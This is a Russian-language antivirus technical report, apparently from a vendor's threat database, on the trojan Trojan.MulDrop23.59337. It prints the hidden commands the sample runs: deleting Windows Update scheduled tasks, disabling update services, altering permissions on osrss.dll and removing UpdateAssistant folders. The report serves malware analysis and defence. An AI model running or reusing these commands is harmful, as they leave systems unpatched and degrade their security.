Trojan.MulDrop23.59337

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Обновления системы (Windows Update)

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nsi368b.tmp\system.dll

Удаляет следующие файлы

%TEMP%\nsi368b.tmp\system.dll

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\sih" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantAllUsersRun" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\Maintenance install" /f' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\MusUx_LogonUpdateResults" /f' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc failure wuauserv reset= 0 actions= no & sc config wuauserv start= disabled & sc stop wuauserv' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc failure WpnService reset= 0 actions= no & sc config WpnService start= disabled & sc stop WpnService' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc failure WaaSMedicSvc reset= 0 actions= no & sc config WaaSMedicSvc start= disabled & sc stop WaaSMedicSvc' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c takeown /f <SYSTEM32>\osrss.dll && icacls <SYSTEM32>\osrss.dll /grant administrators:F&echo y| cacls <SYSTEM32>\osrss.dll /d system' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c rd/s/q %WINDIR%\UpdateAssistant' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c rd/s/q %WINDIR%\UpdateAssistantV2' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /f
'%WINDIR%\syswow64\sc.exe' stop wuauserv
'%WINDIR%\syswow64\sc.exe' stop WpnService
'%WINDIR%\syswow64\takeown.exe' /f <SYSTEM32>\osrss.dll
'%WINDIR%\syswow64\sc.exe' config wuauserv start= disabled
'%WINDIR%\syswow64\sc.exe' stop WaaSMedicSvc
'%WINDIR%\syswow64\sc.exe' config WaaSMedicSvc start= disabled
'%WINDIR%\syswow64\sc.exe' config WpnService start= disabled
'%WINDIR%\syswow64\cmd.exe' /c rd/s/q %WINDIR%\UpdateAssistantV2
'%WINDIR%\syswow64\sc.exe' failure WaaSMedicSvc reset= 0 actions= no
'%WINDIR%\syswow64\cmd.exe' /c rd/s/q %WINDIR%\UpdateAssistant
'%WINDIR%\syswow64\sc.exe' failure wuauserv reset= 0 actions= no
'%WINDIR%\syswow64\sc.exe' failure WpnService reset= 0 actions= no
'%WINDIR%\syswow64\cmd.exe' /c takeown /f <SYSTEM32>\osrss.dll && icacls <SYSTEM32>\osrss.dll /grant administrators:F&echo y| cacls <SYSTEM32>\osrss.dll /d system
'%WINDIR%\syswow64\cmd.exe' /c sc failure WaaSMedicSvc reset= 0 actions= no & sc config WaaSMedicSvc start= disabled & sc stop WaaSMedicSvc
'%WINDIR%\syswow64\cmd.exe' /c sc failure WpnService reset= 0 actions= no & sc config WpnService start= disabled & sc stop WpnService
'%WINDIR%\syswow64\cmd.exe' /c sc failure wuauserv reset= 0 actions= no & sc config wuauserv start= disabled & sc stop wuauserv
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\MusUx_LogonUpdateResults" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\Maintenance install" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantAllUsersRun" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\sih" /f
'%WINDIR%\syswow64\schtasks.exe' /delete /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /f
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo y"
'%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\osrss.dll /d system